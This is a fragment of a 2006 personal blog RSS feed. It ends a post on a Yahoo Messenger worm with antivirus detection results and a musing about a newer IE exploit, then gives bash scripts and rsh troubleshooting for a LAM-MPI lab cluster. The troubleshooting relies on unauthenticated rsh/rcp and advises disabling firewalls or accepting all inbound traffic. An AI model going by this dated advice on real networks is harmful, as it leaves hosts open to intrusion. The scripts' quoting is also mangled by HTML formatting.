<td align="center">09.20.2006</td>
<td>Troj/Tiotua-A</td>
</tr>
<tr>
<td>Symantec</td>
<td>8.0</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>TheHacker</td>
<td>6.0.1.074</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>UNA</td>
<td>1.83</td>
<td align="center">09.20.2006</td>
<td>Trojan.Win32.Autoit.4809</td>
</tr>
<tr>
<td>VBA32</td>
<td>3.11.1</td>
<td align="center">09.19.2006</td>
<td>Trojan-Downloader.Win32.Agent.axn</td>
</tr>
<tr>
<td>VirusBuster</td>
<td>4.3.7:9</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
</table>
<p>As you may note, F-prot has not included this in their recent update, but McAfee has.</p>
<p>BTW: I&#8217;m wondering that what would happen if the worm writer used <a href="http://sunbeltblog.blogspot.com/2006/09/seen-in-wild-zero-day-exploit-being.html">this IE exploit</a> instead of this old exploit. This new one works even in the fully patched windows machine.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nourbakhsh.ir/blog/2006/09/yahoo-messenger-worm/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Lam-MPI</title>
		<link>http://www.nourbakhsh.ir/blog/2006/08/lam-mpi/</link>
		<comments>http://www.nourbakhsh.ir/blog/2006/08/lam-mpi/#comments</comments>
		<pubDate>Tue, 22 Aug 2006 15:40:03 +0000</pubDate>
		<dc:creator>ehsan</dc:creator>
				<category><![CDATA[*nix]]></category>
		<category><![CDATA[Tech Tips]]></category>

		<guid isPermaLink="false">http://test3.nourbakhsh.ir/blog/archives/22</guid>
		<description><![CDATA[While I was in ADA lab, we had all sort of problems with running lam-mpi across our nodes. Anyway, it was worth it and was quiet fun sometimes to work with it. You can find good tutorials here on their website, but even after reading these you may encounter some unexpected problems. How to solve [...]]]></description>
			<content:encoded><![CDATA[<p>While I was in <a href="http://ada.ce.sharif.edu">ADA lab</a>, we had all sort of problems with running <a href="http://www.lam-mpi.org/">lam-mpi </a> across our nodes. Anyway, it was worth it and was quiet fun sometimes to work with it.</p>
<p><img src="http://www.nourbakhsh.ir/blog/wp-content/uploads/2006/08/mpi-clouds.jpg" alt="MPI Cloud" /></p>
<p>You can find good tutorials <a href="http://www.lam-mpi.org/tutorials/">here on their website</a>, but even after reading these you may encounter some unexpected problems. How to solve theseproblems? Always <strike>Google them</strike> use Google search engine to find the solution.</p>
<p>As you know, if you know lam-mpi, you should &#8220;wipe&#8221; the mp-cloud clean if you want to stop it; or if you want to restart it. It uses <a href="http://en.wikipedia.org/wiki/Remote_Shell">RSH</a> which is sometimes not very easy to deal with. I wrote some scripts to ease the start-up and cleaning process.</p>
<p><span id="more-22"></span></p>
<p>The following script first pings the broadcast address and gets currently available nodes. Then updates the lamhosts file. Next uses the updated lamhosts file to wipe the network clean, and run lam-mpi again. You can optionally instruct i not to update the lamhosts file.</p>
<p>This is the <em>probe</em> script:</p>
<p class="codebox"> #!/bin/bash<br />
#clear<br />
RES=`ping -b -c 10 192.168.0.255 | awk &#8216;{print $4}&#8217; | grep 192 | uniq | awk -F: &#8216;{print $1}&#8217; | sort -n | uniq `for i in $RES; do<br />
echo $i;<br />
done</p>
<p>This one is the <em>lam-run</em> script, which uses the previous one:</p>
<p class="codebox"> #!/bin/bash<br />
OPTION=&#8221;-c&#8221;;<br />
LAMHOSTS=&#8221;/home/user01/lamhosts&#8221;export LAMRSH=&#8221;rsh&#8221;</p>
<p>if [ -z $1 ]; then<br />
echo &#8220;usage: $0 {-c:update config and restart | -d: restart only}&#8221;<br />
exit<br />
fi;</p>
<p>cat &gt; $LAMHOSTS &lt;<eof><br />
EoF</eof></p>
<p>if [ $1 = $OPTION ]; then<br />
echo -e &#8220;updating lamhosts:\n&#8221;;<br />
for i in `/bin/bash /usr/local/bin/ada/probe`; do<br />
echo -e &#8220;$i\t user01&#8243;  &gt;&gt; $LAMHOSTS;<br />
done;<br />
fi;</p>
<p>echo -e &#8220;\nStopping previsou run, if any\n&#8221;<br />
/usr/bin/lamhalt<br />
/usr/bin/wipe $LAMHOSTS<br />
echo &#8220;DONE&#8221;<br />
echo -e &#8220;\nrunning lamboot&#8221;<br />
lamboot -d $LAMHOSTS<br />
echo &#8220;DONE&#8221;</p>
<p>Also, I had a <em>copier</em> script to copy the necessary files to all clients using rcp:</p>
<p class="codebox"> #!/bin/bashif [ -z $1 ] ||[ -z $2  ]; then<br />
echo -e &#8220;This script lets you copy a file to every client\n&#8221;;<br />
echo -e &#8220;usage: $0 PATH-TO-LOCAL-FILE PATH-ON-EACH-CLIENT\n&#8221;<br />
echo -e &#8220;example: $0 /tmp/file /home/user01/remote&#8221;<br />
exit;<br />
fi;</p>
<p>for i in `/usr/local/bin/ada/probe`; do<br />
if [ $i = "192.168.0.100" ]; then<br />
continue;<br />
fi;<br />
echo &#8220;copying file to $i&#8221;<br />
/usr/bin/rcp $1 $i:$2;<br />
done;</p>
<p>These are not appealing as scripts, I know. But were quiet handy and helped us alot. I had a directory for these in <em>/usr/local/bin/ada/</em>, and our clients had IP addresses in <em>192.168.0.100/24</em> range. These scripts are written based on these facts. It is easy to update them for your local network, if interested.</p>
<p>We had some other problems that I will add here whenever I remember them, but for the moment:</p>
<ul>
<li><strong>poll: protocol failure in circuit setup</strong></li>
<p>if you see</p>
<p class="codebox">poll: protocol failure in circuit setup</p>
<p>when you try to run a simple rsh command like</p>
<p class="codebox">rsh 192.168.0.101 -n -d -l user01 echo $SHELL</p>
<p> but you can login to the remote client using</p>
<p class="codebox">rsh 192.168.0.101</p>
<p> try turning off you firewall on both sides first, and then try again.  If this is the case, try something like this in your firewall rules:</p>
<p class="codebox">-A INPUT -i eth0 -j ACCEPT</p>
<p>where eth0 is connected to your internal network of lam nodes.</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.nourbakhsh.ir/blog/2006/08/lam-mpi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
